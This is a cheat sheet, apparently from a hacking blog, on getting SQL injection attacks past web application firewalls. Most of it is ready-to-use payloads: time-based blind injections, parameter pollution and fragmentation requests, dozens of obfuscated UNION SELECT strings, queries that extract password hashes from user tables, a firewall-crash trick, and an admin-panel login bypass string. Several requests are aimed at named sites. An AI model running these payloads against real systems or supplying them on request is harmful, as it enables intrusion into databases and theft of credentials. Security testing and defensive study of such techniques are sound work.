SQL Injection Bypassing WAF

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

SQL Injection – Basic Concepts

There are two types of SQL Injection

• SQL Injection into a String/Char parameter
  Example: SELECT * from table where example = 'Example'

• SQL Injection into a Numeric parameter
  Example: SELECT * from table where id = 123

1. Exploitation of SQL Injection vulnerabilities is divided into classes according to the DBMS type and injection conditions.

• A vulnerable request can get into Insert, Update, Delete, etc.
  Example: UPDATE users SET pass = '1' where user = 't1' OR 1=1--'

1. Blind SQL Injection

 Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(200000,md5(now())))
SLEEP(5)-- 
SELECT BENCHMARK(1000000,MD5('A'));
id=1 OR SLEEP(25)=0 LIMIT 1-- 
id=1) OR SLEEP(25)=0 LIMIT 1-- 
id=1' OR SLEEP(25)=0 LIMIT 1-- 
id=1') OR SLEEP(25)=0 LIMIT 1-- 
id=1)) OR SLEEP(25)=0 LIMIT 1-- 
id=SELECT SLEEP(25)--
      1.Exploitation features for various DBMSs
  Example: (MySQL): SELECT * from table where id = 1 union select 1,2,3
  Example: (PostgreSQL): SELECT * from table where id = 1; select 1,2,3 

Bypassing WAF: SQL Injection - Normalization Method

Example Number (1) of a vulnerability in the function of request Normalization.
• The following request doesn’t allow anyone to conduct an attack

 /?id=1+union+select+1,2,3/*

• If there is a corresponding vulnerability in the WAF, this request

 will be successfully performed
 /?id=1/*union*/union/*select*/select+1,2,3/*

• After being processed by WAF, the request will become

 index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*

The given example works in case of cleaning of dangerous traffic, not in case of blocking the entire request or the attack source.

Example Number (2) of a vulnerability in the function of request Normalization.
• Similarly, the following request doesn’t allow anyone to conduct an attack

 /?id=1+union+select+1,2,3/*

• If there is a corresponding vulnerability in the WAF, this request will be successfully performed

 /?id=1+un/**/ion+sel/**/ect+1,2,3--

• The SQL request will become

 SELECT * from table where id =1 union select 1,2,3--

Instead of construction /**/, any symbol sequence that WAF cuts off can be used (e.g., #####,).

The given example works in case of excessive cleaning of incoming data (replacement of a regular expression with the empty string)

'Using HTTP Parameter Pollution (HPP)'

• The following request doesn’t allow anyone to conduct an attack

 /?id=1;select+1,2,3+from+users+where+id=1--

• This request will be successfully performed using HPP

 /?id=1;select+1&id=2,3+from+users+where+id=1--

Successful conduction of an HPP attack bypassing WAF depends on the environment of the application being attacked.

Using HTTP Parameter Pollution (HPP)

• Vulnerable code

 SQL=" select key from table where id= "+Request.QueryString("id")

• This request is successfully performed using the HPP technique

 /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

• The SQL request becomes select key from table where

 id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users

ByPassing WAF: SQL Injection – HPF

Using HTTP Parameter Fragmentation (HPF)

• Vulnerable code example

 Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
 Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);

• The following request doesn’t allow anyone to conduct an attack

 /?a=1+union+select+1,2/*

• These requests may be successfully performed using HPF

 /?a=1+union/*&b=*/select+1,2
 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

• The SQL requests become

 select * from table where a=1 union/* and b=*/select 1,2
 select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--

Bypassing WAF: Blind SQL Injection

Using logical requests AND/OR
• The following requests allow one to conduct a successful attack for many WAFs

 /?id=1+OR+0x50=0x50
 /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

Negation and inequality signs (!=, <>, <, >) can be used instead of the equality one – It is amazing, but many WAFs miss it!

It becomes possible to exploit the vulnerability with the method of blind-SQL Injection by replacing SQL functions that get to WAF signatures with their synonyms.
substring() -> mid(), substr()
ascii() -> hex(), bin()
benchmark() -> sleep()

Wide variety of logical requests.
and 1
or 1
and 1=1
and 2
and 'a'<>'b'
and char(32)=' '
and 3<=2
and 5<=>4
and 5<=>5
and 5 is null
or 5 is not null
....
An example of various request notations with the same meaning.

select user from mysql.user where user = 'user' OR mid(password,1,1)='*'
select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a
select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42
select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42
select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1
select user from mysql.user where user = 'user' OR position(0x2a in password)=1
select user from mysql.user where user = 'user' OR locate(0x2a,password)=1

Known:

substring((select 'password'),1,1) = 0x70
substr((select 'password'),1,1) = 0x70
mid((select 'password'),1,1) = 0x70

New:

strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
STRCMP(expr1,expr2) returns 0 if the strings are the same, -1 if the first , argument is smaller than the second one, and 1 otherwise.

An example of signature bypass.

The following request gets to WAF signature

/?id=1+union+(select+1,2+from+users)

But sometimes, the signatures used can be bypassed

/?id=1+union+(select+'xz'from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))
/?id=1+union+(select'1',concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))
/?id=(1)or(0x50=0x50)

An SQL Injection attack can successfully bypass the WAF , and be conducted in all following cases:

• Vulnerabilities in the functions of WAF request normalization.
•Application of HPP and HPF techniques.
•Bypassing filter rules (signatures).
•Vulnerability exploitation by the method of blind SQL Injection.
• Attacking the application operating logics (and/or)

WAF Bypassing Strings.

 

 /*!%55NiOn*/ /*!%53eLEct*/

%55nion(%53elect 1,2,3)-- -

 +union+distinct+select+

 +union+distinctROW+select+

 /**//*!12345UNION SELECT*//**/

 concat(0x223e,@@version)

 concat(0x273e27,version(),0x3c212d2d)

 concat(0x223e3c62723e,version(),0x3c696d67207372633d22)

 concat(0x223e,@@version,0x3c696d67207372633d22)

 concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62​723e)

 concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)

 concat(‘’,@@version,’’)

 /**//*!50000UNION SELECT*//**/

 /**/UNION/**//*!50000SELECT*//**/

 /*!50000UniON SeLeCt*/

 union /*!50000%53elect*/

 +#uNiOn+#sEleCt

 +#1q%0AuNiOn all#qa%0A#%0AsEleCt

 /*!%55NiOn*/ /*!%53eLEct*/

 /*!u%6eion*/ /*!se%6cect*/

 +un/**/ion+se/**/lect

 uni%0bon+se%0blect

%2f**%2funion%2f**%2fselect

 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

 REVERSE(noinu)+REVERSE(tceles)

 /*--*/union/*--*/select/*--*/

 union (/*!/**/ SeleCT */ 1,2,3)

 /*!union*/+/*!select*/

 union+/*!select*/

 /**/union/**/select/**/

 /**/uNIon/**/sEleCt/**/

 /**//*!union*//**//*!select*//**/

 /*!uNIOn*/ /*!SelECt*/

 +union+distinct+select+

 +union+distinctROW+select+

 +UnIOn%0d%0aSeleCt%0d%0a

 UNION/*&test=1*/SELECT/*&pwn=2*/

 un?+un/**/ion+se/**/lect+

 +UNunionION+SEselectLECT+

 +uni%0bon+se%0blect+

%252f%252a*/union%252f%252a /select%252f%252a*/

 /%2A%2A/union/%2A%2A/select/%2A%2A/

%2f**%2funion%2f**%2fselect%2f**%2f

 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

 /*!UnIoN*/SeLecT+

Union Select by PASS with Url Encoded Method:

%55nion(%53elect)

 union%20distinct%20select 

 union%20%64istinctRO%57%20select

 union%2053elect

 %23?%0auion%20?%23?%0aselect

 %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect

 %55nion%53eLEct

 u%6eion se%6cect

 unio%6e%73elect

 unio%6e%20%64istinc%74%20%73elect

 uni%6fn distinct%52OW s%65lect

 %75%6e%6f%69%6e%61%6c%6c%73%65%6c%65%63%7  

Illegal mix of Collations ByPass Method:

   unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))) /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037) 

 union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?

Bypass with Comments

SQL comments allow us to bypass a lot of filtering and WAFs.

 Code:
 http://hackersidea.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
 

Case Changing

Some WAFs filter only lowercase SQL keyword.

Regex Filter: /union\sselect/g

http://hackersidea.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

Replaced Keywords

Some application and WAFs use preg_replace to remove all SQL keyword. So we can bypass easily.

http://hackersidea.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

Some case SQL keyword was filtered out and replaced with whitespace. So we can use "%0b" to bypass.

http://hackersidea.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--

For Mod_rewrite, Comments "/**/" cannot bypassed. So we use "%0b" replace "/**/".

Forbidden: http://hackersidea.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
Bypassed: 
http://hackersidea.com/main/news/id/1%0b||%0blpad(first_name,7,1).html

Advanced Methods

Crash Firewall via doing Buffer Over Flow.

1) Buffer Overflow / Firewall Crash: Many Firewalls are developed in C/C++ and we can Crash them using Buffer Overflow.

    http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….

    You can test if the WAF can be crashed by typing:
   ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….

    If you get a 500, you can exploit it using the Buffer Overflow Method.

2) Replace Characters with their HEX Values: We can replace some characters with their HEX (URL-Encoded) Values.

Example:
    http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
    (which means “union select”)

4) Misc Exploitable Functions: Many firewalls try to offer more Protection by adding Prototype or Strange Functions! (Which, of course, we can exploit!):

Example:
    This firewall below replaces “*” (asterisks) with Whitespaces! What we can do is this:
    http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…
    (If the Firewall removes the “*”, the result will be: 15+union+select….)
    So, if you find such a silly function, you can exploit it, in this way.

Auth Bypass

If we need to bypass some admin panels, and we do that using or 1=1.

Code:
or 1-- -' or 1 or '1"or 1 or"

SELECT * FROM login WHERE id=1 or 1-- -' or 1 or '1"or 1 or" AND username= AND password= the "or 1-- -" gets active, make the condition true and ignores the rest of the query. now lets check regular string-

SELECT * FROM login WHERE username=' or 1-- -' or 1 or '1"or 1 or" ' ..... the "or 1" part make the query true, and the other parts are considered as the comparison strings. same with the double quotes. SELECT * FROM login WHERE username=" or 1-- -' or 1 or '1"or 1 or" "